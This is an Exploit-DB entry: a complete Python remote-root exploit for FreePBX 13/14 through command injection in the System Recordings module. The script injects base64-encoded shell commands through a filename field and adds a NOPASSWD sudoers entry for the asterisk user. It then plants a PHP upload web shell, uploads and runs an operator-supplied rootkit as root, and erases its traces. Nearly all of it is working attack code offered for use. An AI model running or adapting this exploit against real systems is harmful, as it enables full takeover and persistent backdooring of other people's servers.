FreePBX 13/14 - Remote Command Execution / Privilege Escalation

EDB-ID:

40232

CVE:

N/A

Author:

pgt

Type:

remote

Platform:

Linux

Published:

2016-08-12

#!/usr/bin/env python
# -*- coding, latin-1 -*- ######################################################
#                                                                              #
# DESCRIPTION                                                                  #
# FreePBX 13 remote root 0day - Found and exploited by pgt @ nullsecurity.net  #
#                                                                              #
# AUTHOR                                                                       #
# pgt - nullsecurity.net                                                       #
#                                                                              #
# DATE                                                                         #
# 8-12-2016                                                                    #
#                                                                              #
# VERSION                                                                      #
# freepbx0day.py 0.1                                                           #
#                                                                              #
# AFFECTED VERSIONS                                                            #
# FreePBX 13 & 14 (System Recordings Module versions: 13.0.1beta1 - 13.0.26)   #
#                                                                              #
# STATUS                                                                       #
# Fixed 08-10-2016 - http://issues.freepbx.org/browse/FREEPBX-12908            #
#                                                                              #
# TESTED AGAINST                                                               #
# * http://downloads.freepbxdistro.org/ISO/FreePBX-64bit-10.13.66.iso          #
# * http://downloads.freepbxdistro.org/ISO/FreePBX-32bit-10.13.66.iso          #
#                                                                              #
# TODO                                                                         #
# * SSL support (priv8)                                                        #
# * parameter for TCP port                                                     #
#                                                                              #
# HINT                                                                         #
# Base64 Badchars: '+', '/', '='                                               #
#                                                                              #
################################################################################

'''
Successful exploitation should looks like:

[*] enum FreePBX version
[+] target running FreePBX 13
[*] checking if target is vulnerable
[+] target seems to be vulnerable
[*] getting kernel version
[!] Kernel: Linux localhost.localdomain 2.6.32-504.8.1.el6.x86_64 ....
[+] Linux x86_64 platform
[*] adding 'echo "asterisk ALL=(ALL) NOPASSWD:...' to freepbx_engine
[*] triggering incrond to gaining root permissions via sudo
[*] waiting 20 seconds while incrond restarts applications - /_!_\ VERY LOUD!
[*] removing 'echo "asterisk ALL=(ALL) NOPASSWD:...' from freepbx_engine
[*] checking if we gained root permissions
[!] w00tw00t w3 r r00t - uid=0(root) gid=0(root) groups=0(root)
[+] adding view.php to admin/.htaccess
[*] creating upload script: admin/libraries/view.php
[*] uploading ${YOUR_ROOTKIT} to /tmp/23 via admin/libraries/view.php
[*] removing view.php from admin/.htaccess
[*] rm -f admin/libraries/view.php
[!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23
[*] removing 'asterisk ALL=(ALL) NOPASSWD:ALL' from /etc/sudoers
[*] removing all temp files
[!] have fun and HACK THE PLANET!
'''


import base64
import httplib
import optparse
import re
from socket import *
import sys
import time


BANNER = '''\033[0;31m
################################################################################
#___________                    ________________________  ___   ____________   #
#\_   _____/______   ____   ____\______   \______   \   \/  /  /_   \_____  \  #
# |    __) \_  __ \_/ __ \_/ __ \|     ___/|    |  _/\     /    |   | _(__  <  #
# |     \   |  | \/\  ___/\  ___/|    |    |    |   \/     \    |   |/       \ #
# \___  /   |__|    \___  >\___  >____|    |______  /___/\  \   |___/______  / #
#     \/                \/     \/                 \/      \_/              \/  #
#  _______                .___                                                 #
#  \   _  \             __| _/____  ___.__.   * Remote Root 0-Day              #
#  /  /_\  \   ______  / __ |\__  \<   |  |                                    #
#  \  \_/   \ /_____/ / /_/ | / __ \ \___ |                                    #
#   \_____  /         \____ |(____  / ____|                                    #
#         \/               \/     \/\/                                         #
#                                                                              #
#       * Remote Command Execution Exploit (FreePBX 14 is affected also)       #
#       * Local Root Exploit (probably FreePBX 14 is also exploitable)         #
#       * Backdoor Upload + Execute As Root                                    #
#                                                                              #
#       * Author: pgt - nullsecurity.net                                       #
#       * Version: 0.1                                                         #
#                                                                              #
################################################################################
\033[0;m'''


def argspage():
    parser = optparse.OptionParser()

    parser.add_option('-u', default=False, metavar='<url>',
            help='ip/url to exploit')
    parser.add_option('-r', default=False, metavar='<file>',
            help='Linux 32bit bd/rootkit')
    parser.add_option('-R', default=False, metavar='<file>',
            help='Linux 64bit bd/rootkit')
    parser.add_option('-a', default='/', metavar='<path>',
            help='FreePBX path - default: \'/\'')

    args, args2 = parser.parse_args()

    if (args.u == False) or (args.r == False) or (args.R == False):
        print ''
        parser.print_help()
        print '\n'
        exit(0)

    return args


def cleanup_fe():
    print '[*] removing \'echo "asterisk ALL=(ALL) NOPASSWD:...' \
            '\' from freepbx_engine'
    cmd = 'sed -i --  \' /echo \"asterisk ALL=(ALL)  NOPASSWD\:ALL\">>' \
            '\/etc\/sudoers/d\' /var/lib/asterisk/bin/freepbx_engine'
    command_execution(cmd)

    return


def cleanup_lr():
    print '[*] removing \'echo "asterisk ALL=(ALL) NOPASSWD:...' \
            '\' from launch-restapps'
    cmd = 'sed -i -- \':r;$!{N;br};s/\\necho "asterisk.*//g\' ' \
            'modules/restapps/launch-restapps.sh'
    command_execution(cmd)

    return


def cleanup_htaccess():
    print '[*] removing view.php from admin/.htaccess'
    cmd = 'sed -i -- \'s/config\\\\.php|view\\\\.php|ajax\\\\.php/' \
            'config\\\\.php|ajax\\\\.php/g\' .htaccess'
    command_execution(cmd)

    return


def cleanup_view_php():
    print '[*] rm -f admin/libraries/view.php'
    cmd = 'rm -f libraries/view.php'
    command_execution(cmd)

    return


def cleanup_sudoers():
    print '[*] removing \'asterisk ALL=(ALL) NOPASSWD:ALL\' from /etc/sudoers'
    cmd = 'sudo sed -i -- \'/asterisk ALL=(ALL)  NOPASSWD:ALL/d\' /etc/sudoers'
    command_execution(cmd)

    return


def cleanup_tmpfiles():
    print '[*] removing all temp files'
    cmd = 'find / -name *w00t* -exec rm -f {} \; 2> /dev/null'
    command_execution(cmd)

    return


def check_platform(response):
    if (response.find('Linux') != -1) and (response.find('x86_64') != -1):
        print '[+] Linux x86_64 platform'
        return '64'
    elif (response.find('Linux') != -1) and (response.find('i686') != -1):
        print '[+] Linux i686 platform'
        cleanup_tmpfiles()
        sys.exit(1)
        return '32'
    else:
        print '[-] adjust check_platform() when you want to backdoor ' \
                'other platforms'
        cleanup_tmpfiles()
        sys.exit(1)


def check_kernel(response):
    if response.find('w00t') != -1:
        start = response.find('w00t') + 4
        end = response.find('w00tw00t') - 1
        print '[!] Kernel: %s' % (response[start:end].replace('\\', ''))

        return check_platform(response[start:end])


def check_root(response):
    if response.find('uid=0(root)') != -1:
        start = response.find('w00t') + 4
        end = response.find('w00tw00t') - 2
        print '[!] w00tw00t w3 r r00t - %s' % (response[start:end])
        return
    else:
        print '[-] we are not root :('
        cleanup_fe()
        cleanup_lr()
        cleanup_tmpfiles()
        sys.exit(1)


def build_request(filename):
    body = 'file=%s&name=a&codec=gsm&lang=ru&temporary=1' \
            '&command=convert&module=recordings' % (filename)
    content_type = 'application/x-www-form-urlencoded; charset=UTF-8'

    return content_type, body


def filter_filename(response):
    start = response.find('localfilename":"w00t') + 16
    end = response.find('.wav') + 4

    return response[start:end]


def post(path, content_type, body):
    h = httplib.HTTP(ARGS.u)
    h.putrequest('POST', '%s%s' % (ARGS.a, path))
    h.putheader('Host' , '%s' % (ARGS.u))
    h.putheader('Referer' , 'http://%s/' % (ARGS.u))
    h.putheader('Content-Type', content_type)
    h.putheader('Content-Length', str(len(body)))
    h.endheaders()
    h.send(body)
    errcode, errmsg, headers = h.getreply()

    return h.file.read()


def encode_multipart_formdata(fields, filename=None):
    LIMIT = '----------lImIt_of_THE_fIle_eW_$'
    CRLF = '\r\n'
    L = []
    L.append('--' + LIMIT)
    if fields:
        for (key, value) in fields.items():
            L.append('Content-Disposition: form-data; name="%s"' % key)
            L.append('')
            L.append(value)
            L.append('--' + LIMIT)

    if filename == None:
        L.append('Content-Disposition: form-data; name="file"; filename="dasd"')
        L.append('Content-Type: audio/mpeg')
        L.append('')
        L.append('da')
    else:
        L.append('Content-Disposition: form-data; name="file"; filename="dasd"')
        L.append('Content-Type: application/octet-stream')
        L.append('')
        L.append(open_file(filename))

    L.append('--' + LIMIT + '--')
    L.append('')
    body = CRLF.join(L)
    content_type = 'multipart/form-data; boundary=%s' % (LIMIT)

    return content_type, body


def create_fields(payload):
    fields = {'id': '1', 'name': 'aaaa', 'extension': '0', 'language': 'ru',
            'systemrecording': '', 'filename': 'w00t%s' % (payload)}

    return fields


def command_execution(cmd):
    upload_path = 'admin/ajax.php?module=recordings&command=' \
            'savebrowserrecording'
    cmd = base64.b64encode(cmd)
    payload = '`echo %s | base64 -d | sh`' % (cmd)
    fields = create_fields(payload)
    content_type, body = encode_multipart_formdata(fields)
    response = post(upload_path, content_type, body)
    filename = filter_filename(response)
    content_type, body = build_request(filename)

    return post('admin/ajax.php', content_type, body)


def check_vuln():
    h = httplib.HTTP(ARGS.u)
    h.putrequest('GET', '%sadmin/ajax.php' % (ARGS.a))
    h.putheader('Host' , '%s' % (ARGS.u))
    h.endheaders()
    errcode, errmsg, headers = h.getreply()
    response = h.file.read()

    if response.find('{"error":"ajaxRequest declined - Referrer"}') == -1:
        print '[-] target seems not to be vulnerable'
        sys.exit(1)

    upload_path = 'admin/ajax.php?module=recordings&command' \
            '=savebrowserrecording'
    payload = 'w00tw00t'
    fields = create_fields(payload)
    content_type, body = encode_multipart_formdata(fields)
    response = post(upload_path, content_type, body)

    if response.find('localfilename":"w00tw00tw00t') != -1:
        print '[+] target seems to be vulnerable'
        return
    else:
        print '[-] target seems not to be vulnerable'
        sys.exit(1)


def open_file(filename):
    try:
        f = open(filename, 'rb')
        file_content = f.read()
        f.close()
        return file_content
    except IOError:
        print '[-] %s does not exists!' % (filename)
        sys.exit(1)


def version13():
    print '[*] checking if target is vulnerable'
    check_vuln()

    print '[*] getting kernel version'
    cmd = 'uname -a; echo w00tw00t'
    response = command_execution(cmd)
    result = check_kernel(response)
    if result == '64':
        backdoor = ARGS.R
    elif result == '32':
        backdoor = ARGS.r

    print '[*] adding \'echo "asterisk ALL=(ALL) NOPASSWD:...\' ' \
            'to freepbx_engine'
    cmd = 'sed -i -- \'s/Com Inc./Com Inc.\\necho "asterisk ALL=\(ALL\)\  ' \
            'NOPASSWD\:ALL"\>\>\/etc\/sudoers/g\' /var/lib/' \
            'asterisk/bin/freepbx_engine'
    command_execution(cmd)


    print '[*] triggering incrond to gaining root permissions via sudo'
    cmd = 'echo a > /var/spool/asterisk/sysadmin/amportal_restart'
    command_execution(cmd)

    print '[*] waiting 20 seconds while incrond restarts applications' \
            ' - /_!_\\ VERY LOUD!'
    time.sleep(20)

    cleanup_fe()
    #cleanup_lr()

    print '[*] checking if we gained root permissions'
    cmd = 'sudo -n id; echo w00tw00t'
    response = command_execution(cmd)
    check_root(response)

    print '[+] adding view.php to admin/.htaccess'
    cmd = 'sed -i -- \'s/config\\\\.php|ajax\\\\.php/' \
            'config\\\\.php|view\\\\.php|ajax\\\\.php/g\' .htaccess'
    command_execution(cmd)

    print '[*] creating upload script: admin/libraries/view.php'
    cmd = 'echo \'<?php  move_uploaded_file($_FILES["file"]' \
            '["tmp_name"], "/tmp/23");?>\' > libraries/view.php'
    command_execution(cmd)

    print '[*] uploading %s to /tmp/23 via ' \
            'admin/libraries/view.php' % (backdoor)
    content_type, body = encode_multipart_formdata(False, backdoor)
    post('admin/libraries/view.php', content_type, body)

    cleanup_htaccess()
    cleanup_view_php()

    print '[!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1;' \
            ' rm -f /tmp/23'
    cmd = 'chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23'
    setdefaulttimeout(5)
    try:
        command_execution(cmd)
    except timeout:
        ''' l4zY w0rk '''

    setdefaulttimeout(20)
    try:
        cleanup_sudoers()
        cleanup_tmpfiles()
    except timeout:
        cleanup_tmpfiles()

    return


def enum_version():
    h = httplib.HTTP(ARGS.u)
    h.putrequest('GET', '%sadmin/config.php' % (ARGS.a))
    h.putheader('Host' , '%s' % (ARGS.u))
    h.endheaders()
    errcode, errmsg, headers = h.getreply()
    response = h.file.read()

    if response.find('FreePBX 13') != -1:
        print '[+] target running FreePBX 13'
        return 13
    else:
        print '[-] target is not running FreePBX 13'

    return False


def checktarget():
    if re.match(r'^[0-9.\-]*$', ARGS.u):
        target = ARGS.u
    else:
        try:
            target = gethostbyname(ARGS.u)
        except gaierror:
            print '[-] \'%s\' is unreachable' % (ARGS.u)

    sock = socket(AF_INET, SOCK_STREAM)
    sock.settimeout(5)
    result = sock.connect_ex((target, 80))
    sock.close()
    if result != 0:
        '[-] \'%s\' is unreachable' % (ARGS.u)
        sys.exit(1)

    return

def main():
    print BANNER

    checktarget()

    open_file(ARGS.r)
    open_file(ARGS.R)

    print '[*] enum FreePBX version'
    result = enum_version()

    if result == 13:
        version13()

    print '[!] have fun and HACK THE PLANET!'

    return


if __name__ == '__main__':
    ARGS = argspage()
    try:
        main()
    except KeyboardInterrupt:
        print '\nbye bye!!!'
        time.sleep(0.01)
        sys.exit(1)

#EOF